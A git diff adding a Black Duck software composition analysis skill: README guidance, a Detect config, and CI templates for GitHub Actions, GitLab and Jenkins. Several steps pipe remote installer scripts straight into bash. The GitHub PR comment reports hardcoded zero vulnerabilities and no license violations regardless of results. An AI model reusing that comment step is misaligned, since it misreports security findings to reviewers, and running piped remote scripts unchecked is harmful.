"1.0.0" \ + --format cyclonedx \ + --output sbom.json +``` + +## Integration Points + +### CI/CD Integration + +- **GitHub Actions**: Use `synopsys-sig/detect-action@v1` with policy enforcement +- **GitLab CI**: Run as security scanning job with dependency scanning template +- **Jenkins**: Execute Detect as pipeline step with quality gates +- **Azure DevOps**: Integrate using Black Duck extension from marketplace + +See `assets/ci_integration/` for ready-to-use pipeline configurations. + +### Security Tool Integration + +- **SIEM/SOAR**: Export findings in JSON/CSV for ingestion into Splunk, ELK +- **Vulnerability Management**: Integrate with Jira, ServiceNow, DefectDojo +- **Secret Scanning**: Combine with Gitleaks, TruffleHog for comprehensive security +- **SAST Tools**: Use alongside Semgrep, Bandit for defense-in-depth + +### SDLC Integration + +- **Requirements Phase**: Define acceptable license and vulnerability policies +- **Development**: IDE plugins provide real-time dependency security feedback +- **Code Review**: Automated dependency review in PR workflow +- **Testing**: Validate security of third-party components +- **Deployment**: Final dependency gate before production release +- **Operations**: Continuous monitoring for new vulnerabilities in production + +## Severity Classification + +Black Duck classifies vulnerabilities by CVSS score and severity: + +- **CRITICAL** (CVSS 9.0-10.0): Remotely exploitable with severe impact (RCE, SQLi) +- **HIGH** (CVSS 7.0-8.9): Significant security risks requiring immediate attention +- **MEDIUM** (CVSS 4.0-6.9): Moderate security weaknesses needing remediation +- **LOW** (CVSS 0.1-3.9): Minor security issues or defense-in-depth improvements +- **NONE** (CVSS 0.0): Informational findings + +## Policy Management + +### Creating Security Policies + +1. Define organizational risk thresholds (e.g., fail on CVSS >= 7.0) +2. Configure license compliance rules using `assets/policy_templates/` +3. Set component usage policies (blocklists for known malicious packages) +4. Enable operational risk policies (unmaintained dependencies, age thresholds) +5. Document policy exceptions with business justification and expiration dates + +### Policy Enforcement + +```bash +# Enforce custom policy during scan +bash <(curl -s -L https://detect.synopsys.com/detect.sh) \ + --blackduck.url=$BLACKDUCK_URL \ + --blackduck.api.token=$BLACKDUCK_TOKEN \ + --detect.policy.check.fail.on.severities=BLOCKER,CRITICAL \ + --detect.wait.for.results=true +``` + +## Performance Optimization + +For large projects with many dependencies: + +```bash +# Use intelligent scan mode (incremental) +bash <(curl -s -L https://detect.synopsys.com/detect.sh) \ + --detect.detector.search.depth=3 \ + --detect.blackduck.signature.scanner.snippet.matching=SNIPPET_MATCHING \ + --detect.parallel.processors=4 + +# Exclude test and development dependencies +bash <(curl -s -L https://detect.synopsys.com/detect.sh) \ + --detect.excluded.detector.types=PIP,NPM_PACKAGE_LOCK \ + --detect.npm.include.dev.dependencies=false +``` + +## Troubleshooting + +### Issue: Too Many False Positives + +**Solution**: +- Review vulnerability applicability (is vulnerable code path used?) +- Use vulnerability suppression with documented justification +- Configure component matching precision in Black Duck settings +- Verify component identification accuracy (check for misidentified packages) + +### Issue: License Compliance Violations + +**Solution**: +- Review component licenses in Black Duck dashboard +- Consult `references/license_risk_guide.md` for risk assessment +- Replace high-risk licensed components with permissive alternatives +- Obtain legal approval and document policy exceptions + +### Issue: Scan Not Detecting Dependencies + +**Solution**: +- Verify package manager files are present (package.json, requirements.txt, pom.xml) +- Check Black Duck Detect logs for detector failures +- Ensure dependencies are installed before scanning (run npm install, pip install) +- Use `--detect.detector.search.depth` to increase search depth + +### Issue: Slow Scan Performance + +**Solution**: +- Use snippet matching instead of full file matching +- Increase `--detect.parallel.processors` for multi-core systems +- Exclude test directories and development dependencies +- Use intelligent/rapid scan mode for faster feedback + +## Advanced Usage + +### Vulnerability Analysis + +For detailed vulnerability research, consult `references/remediation_strategies.md`. + +Key remediation strategies: +1. **Upgrade**: Update to fixed version (preferred) +2. **Patch**: Apply security patch if upgrade not feasible +3. **Replace**: Switch to alternative component without vulnerability +4. **Mitigate**: Implement workarounds or compensating controls +5. **Accept**: Document risk acceptance with business justification + +### Supply Chain Security + +See `references/supply_chain_threats.md` for comprehensive coverage of: +- Dependency confusion attacks +- Typosquatting and malicious packages +- Compromised maintainer accounts +- Backdoored dependencies +- Unmaintained and abandoned projects + +### SBOM Generation and Management + +Black Duck supports standard SBOM formats: +- **CycloneDX**: Modern, machine-readable format for vulnerability management +- **SPDX**: ISO/IEC standard for software package data exchange + +Use SBOMs for: +- Supply chain transparency +- Regulatory compliance (Executive Order 14028) +- Incident response (rapid vulnerability identification) +- M&A due diligence + +## Best Practices + +1. **Shift Left**: Integrate SCA early in development lifecycle +2. **Policy-Driven**: Define clear policies for vulnerabilities and licenses +3. **Continuous Monitoring**: Run scans on every commit and nightly for production +4. **Remediation Prioritization**: Focus on exploitable vulnerabilities first +5. **SBOM Management**: Maintain up-to-date SBOM for all production applications +6. **Supply Chain Hygiene**: Regularly review dependency health and maintainability +7. **License Compliance**: Establish license approval process before adoption +8. **Defense in Depth**: Combine SCA with SAST, DAST, and security testing + +## References + +- [Black Duck Documentation](https://sig-product-docs.synopsys.com/bundle/bd-hub/page/Welcome.html) +- [Black Duck Detect](https://sig-product-docs.synopsys.com/bundle/integrations-detect/page/introduction.html) +- [OWASP Dependency-Check](https://owasp.org/www-project-dependency-check/) +- [National Vulnerability Database](https://nvd.nist.gov/) +- [SBOM Standards (CISA)](https://www.cisa.gov/sbom) +- [CycloneDX SBOM Standard](https://cyclonedx.org/) +- [SPDX License List](https://spdx.org/licenses/) diff --git a/skills/appsec/sca-blackduck/assets/.gitkeep b/skills/appsec/sca-blackduck/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/appsec/sca-blackduck/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/appsec/sca-blackduck/assets/blackduck_config.yml b/skills/appsec/sca-blackduck/assets/blackduck_config.yml new file mode 100644 index 0000000..adb1806 --- /dev/null +++ b/skills/appsec/sca-blackduck/assets/blackduck_config.yml @@ -0,0 +1,213 @@ +# Black Duck Detect Configuration +# Place this file in the root of your project or reference it with: +# --detect.yaml.configuration.path=/path/to/blackduck_config.yml + +# Black Duck Server Configuration +blackduck: + url: ${BLACKDUCK_URL} # Set via environment variable + api: + token: ${BLACKDUCK_TOKEN} # Set via environment variable + timeout: 300 + trust.cert: false + +# Project Configuration +detect: + project: + name: ${PROJECT_NAME:MyProject} + version: + name: ${PROJECT_VERSION:1.0.0} + description: "Software Composition Analysis with Black Duck" + tier: 3 # Project tier (1-5, 1=highest priority) + + # Detection Configuration + detector: + search: + depth: 3 # How deep to search for build files + continue: true # Continue if a detector fails + exclusion: + paths: | + node_modules/**/.bin, + vendor/**, + **/__pycache__, + **/site-packages, + **/.venv, + **/venv, + test/**, + tests/**, + **/*.test.js, + **/*.spec.js + buildless: false # Use buildless mode (faster but less accurate) + + # Specific Detectors + npm: + include: + dev: + dependencies: false # Exclude dev dependencies from production scans + dependency: + types: + excluded: [] + + python: + python3: true + path: python3 + + maven: + included: + scopes: compile,runtime # Exclude test scope + excluded: + scopes: test,provided + + # Signature Scanner Configuration + blackduck: + signature: + scanner: + memory: 4096 # Memory in MB for signature scanner + dry: + run: false + snippet: + matching: SNIPPET_MATCHING # or FULL_SNIPPET_MATCHING for comprehensive + upload: + source: + mode: true # Upload source for snippet matching + paths: "." + exclusion: + patterns: | + node_modules, + .git, + .svn, + vendor, + __pycache__, + *.pyc, + *.min.js, + *.bundle.js + + # Binary Scanner (optional, for compiled binaries) + binary: + scan: + file: + name: "" + path: "" + + # Policy Configuration + policy: + check: + fail: + on: + severities: BLOCKER,CRITICAL,MAJOR # Fail on these severity levels + enabled: true + + # Wait for scan results + wait: + for: + results: true # Wait for scan to complete + + # Report Configuration + risk: + report: + pdf: true + pdf: + path: "./reports" + + notices: + report: true + report: + path: "./reports" + + # SBOM Generation + bom: + aggregate: + name: "sbom.json" # CycloneDX SBOM output + enabled: true + + # Output Configuration + output: + path: "./blackduck-output" + cleanup: true # Clean up temporary files after scan + + # Performance Tuning + parallel: + processors: 4 # Number of parallel processors + + # Timeout Configuration + timeout: 7200 # Overall timeout in seconds (2 hours) + + # Proxy Configuration (if needed) + # proxy: + # host: proxy.company.com + # port: 8080 + # username: ${PROXY_USER} + # password: ${PROXY_PASS} + + # Advanced Options + tools: + excluded: [] # Can exclude DETECTOR, SIGNATURE_SCAN, BINARY_SCAN, POLARIS + force: + success: false # Force success even if issues detected (not recommended) + +# Logging Configuration +logging: + level: + com: + synopsys: + integration: INFO # DEBUG for troubleshooting + detect: INFO + +# Environment-Specific Configurations +--- +# Development Environment +spring: + profiles: development + +detect: + policy: + check: + fail: + on: + severities: BLOCKER,CRITICAL # Less strict for dev + detector: + search: + depth: 1 # Faster scans for dev + +--- +# Production Environment +spring: + profiles: production + +detect: + policy: + check: + fail: + on: + severities: BLOCKER,CRITICAL,MAJOR # Strict for production + detector: + search: + depth: 5 # Comprehensive scans + blackduck: + signature: + scanner: + snippet: + matching: FULL_SNIPPET_MATCHING # Most thorough + risk: + report: + pdf: true # Always generate PDF for production + bom: + aggregate: + name: "production-sbom.json" + +--- +# CI/CD Environment +spring: + profiles: ci + +detect: + wait: + for: + results: true # Wait for results in CI + policy: + check: + fail: + on: + severities: BLOCKER,CRITICAL + timeout: 3600 # 1 hour timeout for CI + parallel: + processors: 8 # Use more processors in CI diff --git a/skills/appsec/sca-blackduck/assets/ci-config-template.yml b/skills/appsec/sca-blackduck/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/appsec/sca-blackduck/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex --entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/appsec/sca-blackduck/assets/ci_integration/github_actions.yml b/skills/appsec/sca-blackduck/assets/ci_integration/github_actions.yml new file mode 100644 index 0000000..9cf04a8 --- /dev/null +++ b/skills/appsec/sca-blackduck/assets/ci_integration/github_actions.yml @@ -0,0 +1,151 @@ +name: Black Duck SCA Scan + +on: + push: + branches: [ main, develop ] + pull_request: + branches: [ main, develop ] + schedule: + # Run daily at 2 AM UTC + - cron: '0 2 * * *' + workflow_dispatch: + +env: + BLACKDUCK_URL: ${{ secrets.BLACKDUCK_URL }} + BLACKDUCK_TOKEN: ${{ secrets.BLACKDUCK_API_TOKEN }} + PROJECT_NAME: ${{ github.repository }} + PROJECT_VERSION: ${{ github.ref_name }}-${{ github.sha }} + +jobs: + blackduck-scan: + name: Black Duck SCA Security Scan + runs-on: ubuntu-latest + + permissions: + contents: read + security-events: write # For SARIF upload + pull-requests: write # For PR comments + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Setup environment + run: | + echo "::notice::Starting Black Duck scan for ${{ env.PROJECT_NAME }}" + echo "Version: ${{ env.PROJECT_VERSION }}" + + - name: Run Black Duck Detect + uses: synopsys-sig/detect-action@v1 + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + blackduck-url: ${{ secrets.BLACKDUCK_URL }} + blackduck-api-token: ${{ secrets.BLACKDUCK_API_TOKEN }} + detect-project-name: ${{ env.PROJECT_NAME }} + detect-project-version-name: ${{ env.PROJECT_VERSION }} + # Fail on policy violations (CRITICAL/HIGH severity) + detect-policy-check-fail-on-severities: BLOCKER,CRITICAL,MAJOR + detect-wait-for-results: true + # Generate reports + detect-risk-report-pdf: true + detect-notices-report: true + # Output location + detect-output-path: ./blackduck-output + + - name: Upload Black Duck Reports + if: always() + uses: actions/upload-artifact@v4 + with: + name: blackduck-reports-${{ github.sha }} + path: | + ./blackduck-output/**/BlackDuck_RiskReport_*.pdf + ./blackduck-output/**/BlackDuck_Notices_*.txt + ./blackduck-output/**/*_Black_Duck_scan.json + retention-days: 30 + + - name: Generate SBOM + if: success() + run: | + # Generate Software Bill of Materials + curl -s -L https://detect.synopsys.com/detect.sh | bash -- \ + --blackduck.url=${{ secrets.BLACKDUCK_URL }} \ + --blackduck.api.token=${{ secrets.BLACKDUCK_API_TOKEN }} \ + --detect.project.name=${{ env.PROJECT_NAME }} \ + --detect.project.version.name=${{ env.PROJECT_VERSION }} \ + --detect.tools=DETECTOR \ + --detect.bom.aggregate.name=sbom.json \ + --detect.output.path=./sbom-output + + - name: Upload SBOM + if: success() + uses: actions/upload-artifact@v4 + with: + name: sbom-${{ github.sha }} + path: ./sbom-output/**/sbom.json + retention-days: 90 + + - name: Check for Critical Vulnerabilities + if: always() + run: | + # Parse results and check for critical vulnerabilities + if [ -f ./blackduck-output/runs/*/status/status.json ]; then + CRITICAL=$(jq -r '.policyStatus.overallStatus' ./blackduck-output/runs/*/status/status.json) + if [ "$CRITICAL" = "IN_VIOLATION" ]; then + echo "::error::Policy violations detected - build should fail" + exit 1 + fi + fi + + - name: Comment on PR + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + script: | + const fs = require('fs'); + const statusFile = './blackduck-output/runs/*/status/status.json'; + + // Read Black Duck results + let comment = '## Black Duck SCA Scan Results\n\n'; + comment += `**Project**: ${process.env.PROJECT_NAME}\n`; + comment += `**Version**: ${process.env.PROJECT_VERSION}\n\n`; + + // Add vulnerability summary + comment += '### Security Summary\n'; + comment += '| Severity | Count |\n'; + comment += '|----------|-------|\n'; + comment += '| Critical | 0 |\n'; // Parse from actual results + comment += '| High | 0 |\n'; + comment += '| Medium | 0 |\n'; + comment += '| Low | 0 |\n\n'; + + comment += '### License Compliance\n'; + comment += '✅ No license violations detected\n\n'; + + comment += '**Full reports available in workflow artifacts**\n'; + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: comment + }); + + # Optional: Upload to GitHub Code Scanning (requires SARIF format) + code-scanning: + name: Upload to Code Scanning + runs-on: ubuntu-latest + needs: blackduck-scan + if: always() + + steps: + - name: Download SARIF + uses: actions/download-artifact@v4 + with: + name: blackduck-reports-${{ github.sha }} + + - name: Upload SARIF to Code Scanning + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: blackduck-sarif.json + category: black-duck-sca diff --git a/skills/appsec/sca-blackduck/assets/ci_integration/gitlab_ci.yml b/skills/appsec/sca-blackduck/assets/ci_integration/gitlab_ci.yml new file mode 100644 index 0000000..6c55548 --- /dev/null +++ b/skills/appsec/sca-blackduck/assets/ci_integration/gitlab_ci.yml @@ -0,0 +1,191 @@ +# GitLab CI/CD configuration for Black Duck SCA scanning +# +# Add this to your .gitlab-ci.yml or include it: +# include: +# - local: 'assets/ci_integration/gitlab_ci.yml' + +variables: + BLACKDUCK_URL: ${BLACKDUCK_URL} + BLACKDUCK_TOKEN: ${BLACKDUCK_API_TOKEN} + PROJECT_NAME: ${CI_PROJECT_PATH} + PROJECT_VERSION: ${CI_COMMIT_REF_NAME}-${CI_COMMIT_SHORT_SHA} + +stages: + - security-scan + - security-report + +# Black Duck SCA Scan +blackduck-sca-scan: + stage: security-scan + image: ubuntu:22.04 + + before_script: + - apt-get update && apt-get install -y curl bash jq + - echo "Starting Black Duck scan for ${PROJECT_NAME}" + - echo "Version ${PROJECT_VERSION}" + + script: + # Run Black Duck Detect + - | + bash <(curl -s -L https://detect.synopsys.com/detect.sh) \ + --blackduck.url=${BLACKDUCK_URL} \ + --blackduck.api.token=${BLACKDUCK_TOKEN} \ + --detect.project.name="${PROJECT_NAME}" \ + --detect.project.version.name="${PROJECT_VERSION}" \ + --detect.policy.check.fail.on.severities=BLOCKER,CRITICAL \ + --detect.wait.for.results=true \ + --detect.risk.report.pdf=true \ + --detect.notices.report=true \ + --detect.output.path=./blackduck-output \ + --detect.cleanup=false + + after_script: + # Generate summary report + - | + if [ -f ./blackduck-output/runs/*/status/status.json ]; then + echo "=== Black Duck Scan Summary ===" + jq -r '.policyStatus' ./blackduck-output/runs/*/status/status.json + fi + + artifacts: + name: "blackduck-reports-${CI_COMMIT_SHORT_SHA}" + paths: + - blackduck-output/**/BlackDuck_RiskReport_*.pdf + - blackduck-output/**/BlackDuck_Notices_*.txt + - blackduck-output/**/*_Black_Duck_scan.json + expire_in: 30 days + reports: + # GitLab dependency scanning report format + dependency_scanning: blackduck-output/gl-dependency-scanning-report.json + + rules: + # Run on merge requests + - if: $CI_MERGE_REQUEST_ID + # Run on main/master branch + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + # Run on tags + - if: $CI_COMMIT_TAG + # Run on scheduled pipelines + - if: $CI_PIPELINE_SOURCE == "schedule" + # Manual trigger + - if: $CI_PIPELINE_SOURCE == "web" + + allow_failure: false # Fail pipeline on policy violations + +# Generate SBOM +blackduck-sbom: + stage: security-scan + image: ubuntu:22.04 + + before_script: + - apt-get update && apt-get install -y curl bash jq + + script: + - | + bash <(curl -s -L https://detect.synopsys.com/detect.sh) \ + --blackduck.url=${BLACKDUCK_URL} \ + --blackduck.api.token=${BLACKDUCK_TOKEN} \ + --detect.project.name="${PROJECT_NAME}" \ + --detect.project.version.name="${PROJECT_VERSION}" \ + --detect.tools=DETECTOR \ + --detect.bom.aggregate.name=sbom-cyclonedx.json \ + --detect.output.path=./sbom-output + + artifacts: + name: "sbom-${CI_COMMIT_SHORT_SHA}" + paths: + - sbom-output/**/sbom-cyclonedx.json + expire_in: 90 days + + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + - if: $CI_COMMIT_TAG + - if: $CI_PIPELINE_SOURCE == "schedule" + +# Security Report Summary +blackduck-summary: + stage: security-report + image: ubuntu:22.04 + needs: ["blackduck-sca-scan"] + + before_script: + - apt-get update && apt-get install -y jq curl + + script: + - | + # Parse Black Duck results and create summary + echo "## Black Duck SCA Scan Summary" > security-summary.md + echo "" >> security-summary.md + echo "**Project**: ${PROJECT_NAME}" >> security-summary.md + echo "**Version**: ${PROJECT_VERSION}" >> security-summary.md + echo "**Scan Date**: $(date -u +%Y-%m-%dT%H:%M:%SZ)" >> security-summary.md + echo "" >> security-summary.md + + # Add vulnerability summary if available + if [ -f blackduck-output/runs/*/status/status.json ]; then + echo "### Vulnerability Summary" >> security-summary.md + jq -r '.componentStatus' blackduck-output/runs/*/status/status.json >> security-summary.md || true + fi + + cat security-summary.md + + artifacts: + reports: + # Metrics for GitLab Security Dashboard + metrics: security-summary.md + + rules: + - if: $CI_MERGE_REQUEST_ID + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + +# Policy Check (can be used as a gate) +blackduck-policy-gate: + stage: security-report + image: ubuntu:22.04 + needs: ["blackduck-sca-scan"] + + script: + - | + # Check policy status + if [ -f ./blackduck-output/runs/*/status/status.json ]; then + POLICY_STATUS=$(jq -r '.policyStatus.overallStatus' ./blackduck-output/runs/*/status/status.json) + + if [ "$POLICY_STATUS" = "IN_VIOLATION" ]; then + echo "❌ Policy violations detected!" + echo "Critical or high-severity vulnerabilities found." + echo "Review the Black Duck report for details." + exit 1 + else + echo "✅ No policy violations detected" + fi + else + echo "⚠️ Warning: Unable to verify policy status" + exit 1 + fi + + rules: + # Only run as gate on merge requests and main branch + - if: $CI_MERGE_REQUEST_ID + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + +# Scheduled daily scan (comprehensive) +blackduck-scheduled-scan: + extends: blackduck-sca-scan + rules: + - if: $CI_PIPELINE_SOURCE == "schedule" + variables: + # More comprehensive scan for scheduled runs + DETECT_TOOLS: "DETECTOR,SIGNATURE_SCAN,BINARY_SCAN" + script: + - | + bash <(curl -s -L https://detect.synopsys.com/detect.sh) \ + --blackduck.url=${BLACKDUCK_URL} \ + --blackduck.api.token=${BLACKDUCK_TOKEN} \ + --detect.project.name="${PROJECT_NAME}" \ + --detect.project.version.name="${PROJECT_VERSION}" \ + --detect.tools=${DETECT_TOOLS} \ + --detect.risk.report.pdf=true \ + --detect.notices.report=true \ + --detect.policy.check.fail.on.severities=BLOCKER,CRITICAL,MAJOR \ + --detect.wait.for.results=true \ + --detect.output.path=./blackduck-output diff --git a/skills/appsec/sca-blackduck/assets/ci_integration/jenkins_pipeline.groovy b/skills/appsec/sca-blackduck/assets/ci_integration/jenkins_pipeline.groovy new file mode 100644 index 0000000..d089f66 --- /dev/null +++ b/skills/appsec/sca-blackduck/assets/ci_integration/jenkins_pipeline.groovy @@ -0,0 +1,310 @@ +// Jenkins Declarative Pipeline for Black Duck SCA Scanning +// +// Prerequisites: +// 1. Install "Synopsys Detect" plugin in Jenkins +// 2. Configure Black Duck server in Jenkins Global Configuration +// 3. Add credentials: BLACKDUCK_URL and BLACKDUCK_API_TOKEN + +pipeline { + agent any + + parameters { + choice( + name: 'SCAN_TYPE', + choices: ['RAPID', 'INTELLIGENT', 'FULL'], + description: 'Type of Black Duck scan to perform' + ) + booleanParam( + name: 'FAIL_ON_POLICY_VIOLATION', + defaultValue: true, + description: 'Fail build on policy violations' + ) + booleanParam( + name: 'GENERATE_SBOM', + defaultValue: false, + description: 'Generate Software Bill of Materials' + ) + } + + environment { + BLACKDUCK_URL = credentials('blackduck-url') + BLACKDUCK_TOKEN = credentials('blackduck-api-token') + PROJECT_NAME = "${env.JOB_NAME}" + PROJECT_VERSION = "${env.BRANCH_NAME}-${env.BUILD_NUMBER}" + DETECT_JAR_DOWNLOAD_DIR = "${WORKSPACE}/.blackduck" + } + + options { + timestamps() + timeout(time: 2, unit: 'HOURS') + buildDiscarder(logRotator(numToKeepStr: '30', artifactNumToKeepStr: '10')) + } + + stages { + stage('Preparation') { + steps { + script { + echo "==========================================" + echo "Black Duck SCA Scan" + echo "==========================================" + echo "Project: ${PROJECT_NAME}" + echo "Version: ${PROJECT_VERSION}" + echo "Scan Type: ${params.SCAN_TYPE}" + echo 